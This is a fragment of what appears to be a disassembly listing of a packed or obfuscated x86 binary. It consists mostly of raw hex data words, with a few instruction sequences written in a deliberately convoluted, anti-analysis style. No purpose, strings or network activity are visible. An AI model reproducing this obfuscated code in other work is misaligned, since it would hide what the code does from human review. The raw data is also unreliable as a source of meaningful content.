278649C0h, 4E65CDEh, 0BA17D84Fh, 0D75BB71Eh, 7BCB0D6Bh dd 8E4F4B04h, 90ED4C13h, 4F050B92h, 64742112h, 0C29611C6h dd 70AAB338h, 24067FF8h, 0E04F050Ch, 6DE6F26Dh, 4A4DBE71h dd 3FBA3F6Bh, 10E96D52h, 366C4F05h, 0BCB70582h, 886E4D9h dd 35E64F05h, 3EB93E58h, 0F1732C9Fh, 18634F2Eh, 495BAAB2h dd 48CF8A94h, 2916C370h, 54EC609Fh, 474302F5h, 0AE741B96h dd 7D0BB02Fh, 0B21C3CF8h, 12A5F26h, 91420000h, 2FAB7716h dd 7CFD25A8h, 8E40DAFDh, 25A87215h, 0C3F22BAAh, 0E5E867D6h dd 9F3EB93Dh, 3352D583h, 0E6E960D7h, 3537085Fh, 0B754F005h dd 0C6779AF1h, 19DE444Bh, 8298FF9Eh, 0C87B51D6h, 0C0774E0Fh dd 62E97349h, 2491E4EBh, 0F565CB8Fh, 0B8ED6672h, 0E9BF8047h dd 0D054E931h, 0CC890ECAh, 169158A2h, 0FFCD4E0Ch, 564C1344h dd 986568E7h, 54E93196h, 5F7EF97Eh, 3BBE12C3h, 0C2372CBCh dd 5B3EFF6h, 503D3682h, 9F6Dh, 6FD8B800h, 0CBA799F4h, 0F95C0F1Fh dd 4F7A684h, 0E0D5064Fh, 148DC03Dh, 26E954F0h, 3ABD3B67h dd 6AE17B51h, 2E8DECF3h, 0EFF453D1h, 0B51ED154h, 516BE269h dd 4F811EEh, 4A5305BDh, 2F2F775h, 518275BDh, 676CE17Bh dd 2F31C1Eh, 625798BDh, 34360F56h, 0B0BD02F3h, 979B617Fh dd 7246C176h, 0DB7A8CC1h, 0BB8909FFh, 0A8218DCBh, 7C92FC31h dd 0F1F0EECDh, 0DCC48E4Bh, 983FBE3Dh, 652D582h, 0E3F972E4h dd 2B71B11Bh, 5A2208CFh, 0E6B3F638h, 19BC3FBCh, 0F9D34A01h dd 338h, 51066F00h, 7F4DC477h, 0DDEF6EEDh, 0BA0E894Fh dd 19B32CA0h, 85D75203h, 617BF667h, 0CA9E19DBh, 0AA3EB930h dd 0D5FD890h, 53A268B3h, 4890000h, 5E08924h, 4, 8704E883h dd 505C2404h, 405E089h, 83000000h, 48704E8h, 3C895C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push 2B26h mov [esp], ebx mov ebx, 5EB1C56h mov edi, ebx pop ebx push esp mov ebx, [esp] add esp, 4 push eax mov eax, 8 add eax, ebx push edi add dword ptr [esp], 6B9D3E5Ch pop dword ptr [eax] sub dword ptr [eax], 6B9D3E5Ch pop eax push dword ptr [esp] pop ebx add esp, 4 mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_54658E ; --------------------------------------------------------------------------- dw 7727h dd 2B8E2895h, 1F686A8h, 84B8EDD0h, 305EB20h, 0CCE0FFC5h dd 433C139Dh, 2C0D725Eh, 2E76C50Eh, 9C1A8E13h, 0FC125D9Fh dd 0A12F7E71h, 5C09890Ch, 76175F20h, 7968CDBBh, 0E729F1A2h dd 3A3A88E3h, 29440AB4h, 0EB31E98Eh, 0B38E0B04h, 4CDE956h dd 0A1120000h, 0FF7BA726h, 0CCD5578h, 5E100A8Dh, 0F578A225h dd 0F3C25B7Ah, 15B837A6h, 0CFCE490Dh, 6362E553h, 16B930A7h dd 65C7386Fh, 0C754F007h, 0C077EAA1h, 3A6FE860h, 77D99CAEh dd 0C2714BC6h, 61D4CE91h, 0B461D2E6h, 0CB420911h, 6DEC6BF1h dd 8A0DCD5Fh, 565A243Eh, 68900B7h, 0BADD5E1Ch, 5B71EA60h dd 0C6920DC1h, 0CE949C66h, 28E566D4h, 17C668EEh, 0DE13C098h dd 75F463BFh, 0E67FE067h, 0D6874F04h, 7FFB015Bh, 0B119E0F8h dd 7943B971h, 0C993F039h, 0F62C2E14h, 510CC946h, 61h, 49C07784h dd 5CDE2786h, 34F04E6h, 4E64022h, 4F7BBC4Fh, 42B736A5h dd 1C1CC389h, 0D64F04E6h, 23A6130Fh, 0ED246C76h, 2E14C996h dd 0C742F32Fh, 1530Ah, 0CCFA0000h, 2DE661D6h, 0DAEE69E1h dd 0BD0F8840h, 0DA9B2DAFh, 0C45E6A5Fh, 0E357B6FAh, 0A3026164h dd 4E5E042h, 3E9B5C4Fh, 0E1E467D4h, 4BC67774h, 5AD82584h dd 0DA4F04E6h, 0E1CBC19h, 0E2FFCD4Ah, 0F4799898h, 0CA3B9A7Dh dd 4F04E668h, 274613C4h, 0EFFD7CFBh, 0BA1D9C5Dh, 5870EB60h dd 0E6260479h, 55864F04h, 4825B760h, 0EC478EF2h, 1D2E14CEh dd 4Dh, 4BC677B8h, 32DF9E84h, 4E66FCDh, 0D90ACD4Fh, 0B08D5083h dd 4F04E5B2h, 4414C132h, 24B433A6h, 0AD4CB40Eh, 0F42EB128h dd 68F2C641h, 825F6DE6h, 4231F838h, 0AB2E14CFh, 58h, 4BC677E2h dd 0EA6DEB71h, 60A00ADEh, 3255CC81h, 44C377A5h, 33056D74h dd 3B7DB50Ah, 4FD011FAh, 0B74F0507h, 1A308807h, 477CEBC6h dd 0DF9AE43Ah, 0D2B80058h, 533266AEh, 4A078237h, 0FB5A0000h dd 54DA88Ah, 0B7D3044Fh, 1328601h, 31216254h, 14A2E15h dd 8D000000h, 7547C277h, 0D3E960D7h, 3B61A10Bh, 0E6096B54h dd 0A86B4F04h, 0B336A3EFh, 91EE4D2Ch, 4F04E593h, 8675DE11h dd 9E844BC9h, 0D90A5ED9h, 6B54A97Ch, 0CB54E911h, 2DAAB008h dd 78FEBAAh, 9E7D5D4Dh, 0B46E71DAh, 0AD2CAD07h, 2CF3241Fh dd 0F5C740F6h, 0C7957Eh, 54E95E20h, 39D8D8A2h, 4E543BB2h dd 36B1388Eh, 6C7CB1A2h, 9F8B1AF7h, 4BC488D8h, 3B91C271h dd 9933AA21h, 9372BE0Ch, 0D022A524h, 33F94173h, 24A3160Ch dd 95435F94h, 3E0EB912h, 49000001h, 67F6FD8h, 4F04E624h dd 0BB1A4F80h, 0E9035D4Ah, 703E254h, 4F84D453h, 0E9031416h dd 0F25F9054h, 5A4007C8h, 584339Dh, 714BBCB7h, 0B833B8C2h dd 0E86FFDDFh, 4D191768h, 4C5681F9h, 0B4DB0C8Fh, 5A6EE96Eh dd 38900BC0h, 34D5DDADh, 0B1810487h, 33F9A2D2h, 633Bh dd 0D6CC5200h, 4128E562h, 0ED4C1399h, 308803B5h, 0FB76E703h dd 0E6A3D11Eh, 4E814F04h, 417F5B7Ah, 636A8322h, 65C72CE9h dd 0E44F0560h, 0EE5C121Eh, 2E5CA164h, 0D54F0560h, 602B0976h dd 63E94F05h, 6763D0E8h, 0E53483ADh, 1045230Ah, 0F1CB44F6h dd 2AED8942h, 141D0F6Bh, 6C9DCFAFh, 825D1CA3h, 88000000h dd 2AED6FD8h, 1F9A5F4Bh, 0F6904DB2h, 0EB3754E8h, 67DCEC6Bh dd 8CF00AAh, 8B21A612h, 4FDDFF58h, 0A9B43888h, 0E8F5D654h dd 0B0E55654h, 0D782987Fh, 0BFCB7850h, 3D36823Dh, 66D54D50h dd 0B12D5E7h, 0B154E8F7h, 9146A7EBh, 0EC6BB716h, 0AA1DA06Dh dd 0A7987FFDh, 5AD4171Dh, 7AF8C5A4h, 0FA4F1417h, 0F06BED39h dd 0F9719B27h, 84F96A7Eh, 26A11634h, 2060CA92h, 6C33B16Eh dd 0FF386913h, 8508CB54h, 63D6CCD0h, 97402BE4h, 474DB215h dd 1554F007h, 0C7749622h, 12D94144h, 298304B2h, 4007D03Ah dd 54301BBDh, 4C964963h, 0C0A848B4h, 9C5BBAE6h, 317EAB04h dd 9FD0D397h, 0F473E238h, 0D99E841Bh, 7EF00A5Eh, 0E055F7C5h dd 2C95369h, 8F6D318Bh, 977D4B83h, 4ACD8A6Bh, 0A1D89F8Bh dd 687FD80Bh, 368205B2h, 45C473AFh, 0AC13FC77h, 3, 775106FBh dd 0ED7F4DC4h, 4FDDEF6Eh, 0A0BA0E89h, 319B32Ch, 6785D752h dd 0DB617BF6h, 30CA9E19h, 90AA3EB9h, 0B30D5FD8h, 5E08950h dd 4, 8704E883h, 248B2404h, 29276824h, 2C890000h, 0E0895024h dd 405h, 4E88300h, 5C240487h, 81243C89h, 4ECh, 243C8900h dd 0EB2165BFh, 5FFD8905h, 8904EC83h, 4832424h, 555F0424h dd 0D1240481h, 8F7E1C1Fh, 0B9510847h, 1475311Bh, 0C106E1C1h dd 814906E9h, 692ECBF1h, 84F297Eh, 2434FF59h, 4C4835Fh dd 51242C8Bh, 0C181E189h, 4, 8704C183h, 0E95C240Ch, 0FFF95796h dd 0B8B14E67h, 5EB25A7h, 0E0FFC503h, 2D81792Eh, 73921112h dd 789C4669h, 601968BCh, 2524F815h, 562086DEh, 655FFCEFh dd 4309D274h, 24A3EBFEh, 21BFD7A4h, 6DBC8C29h, 3354E2F6h dd 373EE9B2h, 7A34CCC3h, 3AA0C96Bh, 1D4EAE34h, 3EB96633h dd 3D483FCDh, 1BEF52D2h, 1935335Ch, 0A6114D9h, 50BB5E7Ah dd 5B9AE582h, 23608DF2h, 54C2D01Fh, 79BA1E28h, 431A09B8h dd 1E580263h, 85546C4h, 34224643h, 757BC6E4h, 0BECA04EBh dd 3EE95824h, 0B5000005h, 1E048B02h, 60BADD5Ah, 0B36F6EE9h dd 1B078601h, 6FB8DF5Ah, 1D945950h, 0B32CA07Ah, 0C740F62Ch dd 1A9D5AC0h, 0A09DCC7Bh, 54F00BC2h, 770F4422h, 527349C0h dd 2891B678h, 5CE2375h, 0BADD5419h, 0B8E2EB60h, 342FBD36h dd 5E06DCFh, 0DB0CCF4Fh, 7DFC7B81h, 9A1DDD6Fh, 266A34CEh dd 3CB010C7h, 0A4132983h, 6B5C9725h, 5AB9082Fh, 0D20715CCh dd 4B6ECB3h, 4902318Bh, 890C8F4Dh, 8A0DB91h, 0F7C542F2h dd 0A4454D17h, 73D2B536h, 4EA3032h, 844B8C4Fh, 4E9B9BBh dd 1FF83B4Fh, 0A2259288h, 0EA50D116h, 7B44F04h, 42E0FC9Dh dd 6EA32F28h, 910AC05Ah, 78FE083Bh, 0B319EDFFh, 7755874Fh dd 0BB81C20Bh, 28022E15h, 284E8218h, 0FFF6A3FEh, 5Ch, 49C0771Eh dd 84485273h, 2F10B10Bh, 4F04E64Dh, 5E3B6CAFh, 4E61111h dd 1278D94Fh, 0F7FF1C9h, 0C7834C52h, 913112DBh, 15A2E15h dd 0FD000000h, 7444C377h, 0D7E562D6h, 0A720948Eh, 0B52EA0EAh dd 0E9480D27h, 4E59694h, 6825164Fh, 17C3226Eh, 74AE0D90h dd 8F8B44C7h, 994E51C8h, 714BC677h, 25E86FEBh, 0ECFC7FFDh dd 0CDAF9077h, 2F4F04E5h, 1CA923ECh, 6FEE6DB5h, 0A12DE65Dh dd 7BCD8061h, 46097AFDh, 0E59C9EE7h, 0D7184F04h, 38BF6B7Ah dd 40AA2B81h, 0AD85355Fh, 0E547B879h, 474F058Ch, 0ACF6A394h dd 7CD4832Dh, 0BC0C41FAh, 7CFB7B87h, 6E4B10Bh, 7660D31Ah dd 9612E15h, 15D5DD73h, 0CEF95254h, 93h, 4BC67709h, 8A4A5071h dd 2EADBF0Dh, 75917AAFh, 71EA6CC4h, 0E5D351AEh, 9E514F04h dd 4C0D1FADh, 0EF6DFFCDh, 22885C6Ch, 9AE436FEh, 64D6CC96h dd 894BD1EBh, 5489BA0Eh, 8ADE9FFBh, 711449CEh, 0EAAD24A9h dd 0E6383A0Bh, 43B44F04h, 0B638C296h, 0F3D2AF3Dh, 5FFA0DA7h dd 0B66375C8h, 462DE42Ch, 0B72E15BBh, 4Ch, 0CC4B0A10h dd 0C6774A03h, 4A50714Bh, 80B3098Eh, 8A0DCBD7h, 2F7B6A3Eh dd 0AB9830AFh, 5DBCE4EEh, 3657898h, 957936E7h, 77A83DA0h dd 228144C3h, 4E65FDDh, 0B11ADD4Fh, 0E643241Bh, 0DFED4F04h dd 0C9291AD3h, 1522E14h, 85000000h dd 7547C277h, 0D3E960D7h, 3B61A10Bh, 94EE69EFh, 0A2ECA922h dd 5FDD2237h, 0DD4F04E6h, 0D3048333h, 71E33F9Eh, 0CC9C1BDFh dd 55E82217h, 1DC2F767h, 46315401h, 7B440B89h, 54E9D28Eh dd 85A735E6h, 7AF8C5D6h, 0FA54E9D0h, 0EF6EED39h, 923566DDh dd 7048C388h, 0E9D06BCFh, 50DEF54h, 0D1F477E4h, 450D98F2h dd 3DFE9E5Fh, 6813650h, 0A823A8B2h, 0A53FBDE5h, 0ED3550B3h dd 0BC194A8Ch, 0F939811Ch, 0B5D85318h, 0F920FE45h, 1456F33h dd 0F9580000h, 0E931A684h, 78D50654h, 0ED6FD853h, 3CCD52Ah dd 67A854E9h, 8900B755h, 0FFC0A706h, 54E9037Dh, 27A615FFh dd 0A06D5E95h, 6276F166h, 0C09813D8h, 4CADD5B5h, 0B9890C8Fh dd 33F8E5CAh, 7733h, 62D85A00h, 7CFD25E8h, 0D7E566D4h dd 9F6E2B1Ch, 6B56D238h, 315D968Ch, 0DF6D1F64h, 0CCF4F05h dd 0DEA98BBCh, 0EC6B4F05h, 0BCD5F6Dh, 1D94AB89h, 7AAF3730h dd 0CC349E6Eh, 0D1D1B904h, 0FEA12B9Fh, 0BB920994h, 410AB9D1h dd 47B81FFEh, 4F050AE5h, 0FA3B9447h, 4F050BC8h, 0D282987Fh dd 0B0E6C55h, 4A0E4F05h, 5A44FFCDh, 4DCC8D99h, 6F0BC47Fh dd 8CAA29ACh, 0FD000000h, 2AED6FD8h, 0E8F6F8D5h, 29837454h dd 0A225A413h, 0B010C7C3h, 392ABE39h, 90EDF4C4h, 54E8F592h dd 23EC2112h, 16F970E7h, 0F1CB4C0Ch, 1CC38942h, 54E8F719h dd 82D65105h, 6F7DF678h, 39F1319Bh, 20C1C1ABh, 0D95019ABh dd 0D996E1E4h, 5E8BF45Bh, 6D5AD41Ch, 0E7966105h, 9F78E4DBh dd 72882013h, 967642C5h, 0DD8AC4CCh, 5A87F85Fh, 6154FFC8h dd 634AFD09h, 0EFA8E62Bh, 36B139C3h, 997CB1A2h, 9B67C53Ah dd 12C554E9h, 0CCB126B9h, 40EFFAE6h, 6A27A1A8h, 0F154D68Fh dd 0F041638Ch, 9D40B354h, 0F963C13Eh, 0EC154EFh, 46F51745h dd 9D5AC0C7h, 0ED6FBB1Ah, 0C339972h, 0B2BF8C21h, 0E86AB015h dd 0F838A26Fh, 0B4DB5219h, 5A6EE96Eh, 0C7950EC0h, 0BC3C6667h dd 0D9B2A13Bh, 0E754B5FDh, 32B96164h, 0C1A021BBh, 29677EFCh dd 5DDA9EA7h, 40AAD40Fh, 8AB9138Ch, 8C9FC59h, 1C000000h dd 0FC7BA706h, 773B907Dh, 0ED7F4DC4h, 4FDDEF6Eh, 0A0BA0E89h dd 319B32Ch, 6785D752h, 0DB617BF6h, 30CA9E19h, 90AA3EB9h dd 0B30D5FD8h, 81E68956h, 4C6h, 4EE8300h, 5C243487h, 50243489h dd 405E089h, 2D000000h, 4, 5C240487h, 68240C89h, 7FA5h dd 52243489h, 49707DBAh, 0B6456872h, 15993A1h, 8B545AD1h dd 0C4832434h, 8B85004h, 1000000h, 0BB53F0h, 1000000h dd 5B0B89C3h, 2434FF58h, 4C4815Eh, 0FF000000h, 83592434h dd 0D3E904C4h, 0A0FFF951h, 78F6BFAEh, 0A8E040D6h, 2856D165h dd 2B83B839h, 0C50305EBh, 67E2E0FFh, 38A74E75h, 0FA3457DAh dd 0CA9F2ED0h, 0FD4B7F44h, 0FEC44350h, 6E6B2880h, 7DE7471Ah dd 42CC1E9Fh, 2D3077B4h, 49802CD8h, 9C25587Eh, 0D8500C3Bh dd 0EDE90E3Eh, 60000000h, 0A8D88C66h, 0DF840F04h, 8B000000h dd 0E41501B5h, 0FE8305h, 22850Fh, 85C60000h, 5E42A49h dd 69696845h, 0B5FF8E72h, 5E428E5h, 6D30858Dh, 0D0FF05E7h dd 2418589h, 0F08B05E4h, 0FE93E80h, 3185h, 0B858D00h, 0FF05E971h dd 0B5BD8BD0h, 8105E41Ah, 1184C7h, 1B58B00h, 8705E415h dd 8B9F7h, 0A4F30000h, 1501B58Bh, 858D05E4h, 5E79ED9h dd 0B58BD0FFh, 5E423E1h, 0F00FE83h, 2285h, 4985C600h, 5405E42Ah dd 4EBEF468h, 0E5B5FFFFh, 8D05E428h, 0E76D3085h, 89D0FF05h dd 0E423E185h, 80F08B05h, 850FE93Eh, 3Ah, 23E1B58Bh, 858D05E4h dd 5E9710Bh, 0BD8BD0FFh, 5E41AB5h, 1184C781h, 0C7830000h dd 0E1B58B08h, 8705E423h, 8B9F7h, 0A4F30000h, 23E1B58Bh dd 858D05E4h, 5E79ED9h, 0C361D0FFh, 2C42858Dh, 858905EBh dd 5E4224Dh, 8E8h, 93DE7100h, 634EC9A1h, 10E96002h, 0CA000000h dd 4F48F7ADh, 0D0C93B7Ch, 0D4994965h, 0E9B3DA1Fh, 14h dd 288F2539h, 0CC8B7F08h, 510994h, 99186C6Dh, 76E70535h dd 0DA8B5961h, 6A97C181h, 0B8600000h, 265975E4h, 189CEB81h dd 0B8612030h, 0 dd 34FFD98Bh, 0FEB70F08h, 0A689BE5Ah, 0EA8175F1h, 4E2B1D26h dd 58E0Fh, 81660000h, 8108E5F3h, 0F209E2C2h, 0FE8B660Eh dd 0DE41EA81h, 0C9BF0D68h, 896EBE81h, 8E80114h, 94000000h dd 7C96F406h, 660082B0h, 815BF28Bh, 66FFACE8h, 0D2BB6603h dd 0A8C081D6h, 0E90366FFh, 13h, 22BD6166h, 8D3A53F0h, 0A8484A5Ah dd 0FC74651Dh, 817E5AD9h, 0FF9650F8h, 0C850FFFh, 8B000000h dd 16E9DAh, 3BA40000h, 804BA251h, 73E985E7h, 0C9FFFFFFh dd 0BC392FBh, 0BA485C93h, 2F108D8Dh, 6A05EBh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 89D169C3h dd 0E410958Dh, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 0CFCC3466h, 0E2BC208Eh dd 85C7B3AFh, 5E42C65h, 6900h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0C7C35545h, 89D86204h, 329FE5CFh dd 6021B704h, 0EE8h, 233FDF00h, 0B9E30D24h, 0EA078AE2h dd 331BD6D5h, 0E4317595h, 21B25B05h, 0FD85C761h, 5E430h dd 50000000h, 1415858Bh, 0FF5A05E4h, 0E431EDB5h, 1C08105h dd 0FF66981Fh, 0E42A6195h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 6A0DCFh, 10C195FFh dd 0C08B05E4h, 0B8CA2CEBh, 0E30BF395h, 7A1299DFh, 89E5690Dh dd 0A0136572h, 434BE9Dh, 29FF579h, 4CF93A97h, 7CECDF50h dd 3E25AEA6h, 66AEA9BDh, 4EB2751h, 44117F43h, 0DA6E9h dd 31006800h, 6FE905EBh, 68FFF94Eh, 5EB3230h, 0F94E65E9h dd 349D68FFh, 5BE905EBh, 68FFF94Eh, 5EB35D5h, 0F94E51E9h dd 395868FFh, 47E905EBh, 68FFF94Eh, 5EB3A79h, 0F94E3DE9h dd 3B7168FFh, 33E905EBh, 0E5FFF94Eh, 4ED4FB72h, 908A0D8Ah dd 0E33F5ED9h, 4BD7F671h, 9F880F8Ah, 4DC48920h, 0E31CD04Ah dd 37B026FCh, 4ACD8A90h, 90EDBC4Bh, 54F01492h, 773F9412h dd 0E97349C0h, 9314C262h, 7AF00A5Eh, 9D51EBC1h, 0B45662h dd 8F553587h, 977D4B83h, 4ACD8A6Bh, 0E31EDF4Bh, 36B126FCh dd 0CAD398A2h, 6E43D8E0h, 241D21DEh, 4F056446h, 9D0075A6h dd 18FF7D2Ah, 75EC61B9h, 0AEF0F567h, 0E93B4A56h, 359ADBB4h dd 0B154E961h, 846B6A7Eh, 0E958B9BBh, 1FF83B54h, 0E95950D6h dd 0E32FFB54h, 0F940592Ah, 0BC306A33h, 0D1BAA903h, 37E6h dd 0D6CC3100h, 4B2EEB64h, 704D1092h, 54E907FBh, 3F20B87Bh dd 54E90839h, 3CA3694h, 33F8EB40h, 2203E241h, 54E8FC40h dd 280A7BBCh, 8454E8FCh, 0E2CF8653h, 0E000000h, 0E860C077h dd 0B5E65D6Fh, 3B54BE27h, 4010A1E6h, 35B8E2AFh, 0DCFDBBAh dd 400DC692h, 0C245F208h, 64E754F6h, 0C5799C61h, 0BF1E4F05h dd 5C4E446h, 0C28F404Fh, 0F59813D8h, 4BCC8C96h, 0D09C271h dd 0C0FDCF4Eh, 0E8329517h, 5B2AE760h, 0B52BAEF4h, 0C8EA9E74h dd 5CE036Dh, 0E9B14F3Ch, 0A96CAF54h, 957EF971h, 4CCE87F2h dd 199DB489h, 28025AD0h, 0C9897233h, 1AD666Fh, 0A2130FCEh dd 0FB7AA027h, 0EA497F7Ch, 6AEE2220h, 0B418Bh, 4DC47700h dd 9F18D04Ah, 30B722F8h, 48C375ADh, 0E118DD45h, 1B8E29FEh dd 62B8DF5Ah, 0C85275F2h, 1C068902h, 2B9DC5Fh, 17006243h dd 0E7C54F0h, 106DCC51h, 4F04E612h, 0AAF4A192h, 81E9AC2Bh dd 22031F36h, 4F055C40h, 0D41F7BBCh, 23420F3Fh, 0D6F970E7h dd 0ED6FD801h, 860D52Ah, 1BDC54E9h, 73EC6EB4h, 779332A6h dd 0A18E4BC6h, 54E907BFh, 9E5F4B0Ah, 37084963h, 54E90835h dd 461344B7h, 66DD141Ch, 9733F8EBh, 107h, 66D6CCC6h, 75E22CE9h dd 93FFE6F2h, 806C70F6h, 12106DFFh, 924F058Bh, 54A96CA1h dd 4F058AD6h, 0EE28E556h, 0BF11D96Fh, 392ABE39h, 63993C4h dd 4F058FFFh, 9A3DBC3Bh, 7850CB80h, 0BB3B904Dh, 0CB16D23Ch dd 5AA5214Ch, 0EBC7A669h, 529DB847h, 0D6548DE6h, 564F05DAh dd 59D099E5h, 67D429FCh, 0C754E9FDh, 0A800BB3Dh, 744746BBh dd 695639BBh, 5AD062E1h, 780366Ch, 0A9D5BEB5h, 61C0A766h dd 7581E1Ch, 0F05D9E4Fh, 0E5A82796h, 583B3906h, 76B94F07h dd 5D100A9Dh, 0EAF98522h, 8E4A2220h, 0A1127h, 1D944700h dd 0AF28A07Ah, 0C047F228h, 189345DDh, 0B128AD75h, 0EBBEF92Eh dd 32E8EF6Ah, 98820582h, 0EC3659D2h, 52E9EC6Fh, 18303273h dd 0FE8C54F0h, 64D6CCA1h, 71E42EEBh, 8C4BD7F6h, 0E5C4A69Fh dd 0EF204F04h, 9CFFDBBAh, 0F864CE8Bh, 0CC93329Fh, 48ACC2E6h dd 9CE0883h, 0E30C466Dh, 0D9187925h, 77FDDAB7h, 0E97349C0h dd 21A4F262h, 0C72C8C26h, 46BB3EBBh, 45DB9B87h, 0A6CDA17Bh dd 0DCEC21F1h, 2A1BAA67h, 4F059044h, 0AC9C1F7Bh, 9AB85DCEh dd 0C71685B0h, 1DF64D5Dh, 0DCC37AF1h, 0B7169146h, 0B25C305Bh dd 59321FB5h, 0EB62E973h, 351DC4D1h, 0A1E62A8h, 0E2ECA965h dd 3EBEE4BEh, 0D2B38C98h, 1142F8E5h, 0BC447F5h, 0CED1480Fh dd 14EF077Ch, 0EE702Eh, 49510000h, 81B20681h, 6FD887D4h dd 7EF02AEDh, 227CF7C5h, 876633B4h, 0E912EDBEh, 68EF0954h dd 3B2CBCF1h, 54E91335h, 9CC6CA90h, 0F574E53Dh, 35376CE7h dd 0D754E913h, 65DEEA65h, 99DDB679h, 33F8FAAAh, 0A7D3h dd 0CD527A00h, 0E64F04E5h, 8EE4AB29h, 0B7F77151h, 0DB59A67Ah dd 594F0507h, 15E8A596h, 0E9297B28h, 35589B54h, 0DBF168EDh dd 0ECB331EEh, 7F8B04B6h, 0F96A7EF9h, 7774491Ch, 2C5ACD00h dd 62E5554Dh, 0C6A49D56h, 264F04F9h, 4F2D12F5h, 0AD4F04FAh dd 0D205A16Ah, 4B6ECB3h, 18B037A2h, 71E2F62Bh, 0E9FC7AA4h dd 4F99694h, 0F025164Fh, 2030EDD8h, 4FA5DDFh, 2B1CDF4Fh dd 0D99D8564h, 1596445Eh, 0E2C38C47h, 54E910CDh, 2AA52872h dd 0E8181A6Bh, 0A39454E8h, 840BCCF6h, 0C178FD25h, 22B631A5h dd 96616431h, 0B4000005h, 2AED6FD8h, 0E8E764D5h, 0BD0FC054h dd 0E8E6A48Ah, 575B2F54h, 865A250Dh, 0CF9D1EDCh, 0CE653A14h dd 0B730B8C2h, 11652E25h, 33F99E32h, 5645Bh, 0E948F200h dd 0AD70F2ABh, 0E9101750h, 70DC1F54h, 51A2B991h, 590FFE24h dd 0E390B7FCh, 6A23FEAEh, 4BD825E8h, 0F0010B0Ah, 0C14E2C11h dd 6DAEF8CAh, 87D506A0h, 3372F4DEh, 0CC5A6FD4h, 54FFA803h dd 513469E2h, 0E6AF8DF2h, 0CA0DF8C9h, 0F41BE01h, 75FEB154h dd 16C7C382h, 0B912C19Bh, 5E1B07E6h, 930ECFDBh, 45410A39h dd 0AA701796h, 0A30DAA2Dh, 0C87600F0h, 7A4A100h, 69EA0000h dd 8733EFEEh, 0D4859D00h, 66E83255h, 0BD30EAEDh, 2B8A8302h dd 5D40FF7Eh, 0F79611C5h, 0AB2AAD2Bh, 5E41F87Fh, 9D9FE0A7h dd 1F54F019h, 0C0773269h, 867C4050h, 0DE13A6B8h, 9578137Fh dd 0D445E9EAh, 50189EBh, 0F728EB4Fh, 4A03BE1Ah, 591D05C8h dd 0AD9275DEh, 54E90190h, 3E642BECh, 39983FB8h, 0D8F06BE1h dd 0DE139442h, 28A32975h, 0CDAF90h, 46A54E9h, 0AF54E911h dd 1A9D5DF6h, 20876629h, 0E8F15DDFh, 8138BF54h, 4D8E382Bh dd 1322A380h, 91425ACDh, 0F22043Bh, 0DDAD4F05h, 0F2271CD5h dd 44502E14h, 71000000h, 2CFAD92h, 0EA2D4F05h, 8A0DB90h dd 0D8597EDBh, 73A8F46Fh, 0F6EE791Eh, 10D8C285h, 4FCA8B97h dd 0BA0DC67Dh, 0E9728C45h, 0B93EE854h, 26E42F59h, 846B2A1Fh dd 0E9E2B9BBh, 1FF83B54h, 29F4BDh, 0D8230000h, 24067F6Fh dd 804F04E6h dd 4ABB1A4Fh, 54E90079h, 59847BD5h, 0CBD190C6h, 8783C296h dd 0EFF841D7h, 2181A24Eh, 0CCAA23ECh, 7F246EE6h, 5612406h dd 34F804Fh, 9AE48767h, 97F35CDBh, 0AA00A920h, 0DD222289h dd 66CB67Fh, 31A20000h, 4F0B17B6h, 9C5DC5C8h, 2EA07A1Dh dd 450812B5h, 6352CBCAh, 85088736h, 3F5ED99Dh, 0D3F275E3h dd 86098037h, 0D557A8FFh, 5754F01Ah, 0D6CC7A51h, 0D99CE661h dd 4906F55Eh, 19B7A7D2h, 0E8AF8B30h, 5729597h, 0F324174Fh dd 8DF2D32Ch, 137254E9h, 0E97D50D2h, 366BAC54h, 72E723A2h dd 0A56EE5F7h, 0E352F279h, 0CDAC3364h, 7D13116Eh, 779154E9h dd 0C164BC6h, 2001CA4Dh, 7C34B7BFh, 15B832E8h, 9077F5A2h dd 6328DDBAh, 0DE9AE318h, 9FD00359h, 2D8C5332h, 0F3C940F5h dd 60210340h, 0C28371B4h, 0B4607FFDh, 0C93AFD71h, 7AD6270Ch dd 0C5367798h, 62E555F7h, 0DD5F0863h, 0C8AA9B7Ah, 24765045h dd 0A62197F3h, 0D4BB1AEDh, 52930CCEh, 765045D0h, 0C12EEB2Ch dd 7C3468C4h, 0EA5D6FA0h, 71B42884h, 0FE377BCFh, 50C40F85h dd 14EF6h, 6FD82100h, 0F8D52AEDh, 7454E900h, 7DDC83h, 54E90022h dd 0D4845182h, 0A82F8136h, 77A89B31h, 4A197150h, 0EBE89C41h dd 0BDBF8047h, 3F54E95Ch, 40F713FCh, 0C8D2F3C9h, 0E0C18A05h dd 7C3497FFh, 0AC4DB50Fh, 0F129AC2Fh, 76E9C37Ah, 98FF6D71h dd 0E4050DD7h, 0B211F477h, 0E95CEF4Dh, 1CD61D54h, 3556BA08h dd 0FA0C4689h, 65AD4CD3h, 0E03A4D06h, 0F9D8F06Bh, 0A147251Ah dd 72A554E9h, 0E16BD299h, 0A183C13Eh, 2EE154E9h, 3CA2886Fh dd 82A18E64h, 0BE83E1DEh, 2EE154E9h, 0BE774265h, 85FA593Ch dd 54E9BDA7h, 0FA7DFB05h, 570075EEh, 420911F0h, 84210ECBh dd 3B5ACDE4h, 26F36EEFh, 0FB015B9Ch, 40DAFD7Ch, 0F38098Bh dd 1EA99CAEh, 5B88205Fh, 0A0A73566h, 4F0556DAh, 0AF4EB218h dd 0B4EEB128h, 3C378506h, 13F34C53h, 9EC35990h, 4027A62Ch dd 296A976Ah, 6D26DC89h, 9933AA21h, 0A11374A6h, 62AEF849h dd 0DBC7D483h, 0C3A19E19h, 71411806h, 0E5F37E9h, 9E514D6Ah dd 7BF02AADh, 28901DD9h, 18AC55D7h, 2A64D741h, 47B8603Fh dd 5DDA9A80h, 517BD40Fh, 6629AB64h, 0FC37F019h, 0C934446h dd 454Dh, 0E9046E00h, 7BEA7B12h, 0D82FAC69h, 9417C46Fh dd 7BDA0FC4h, 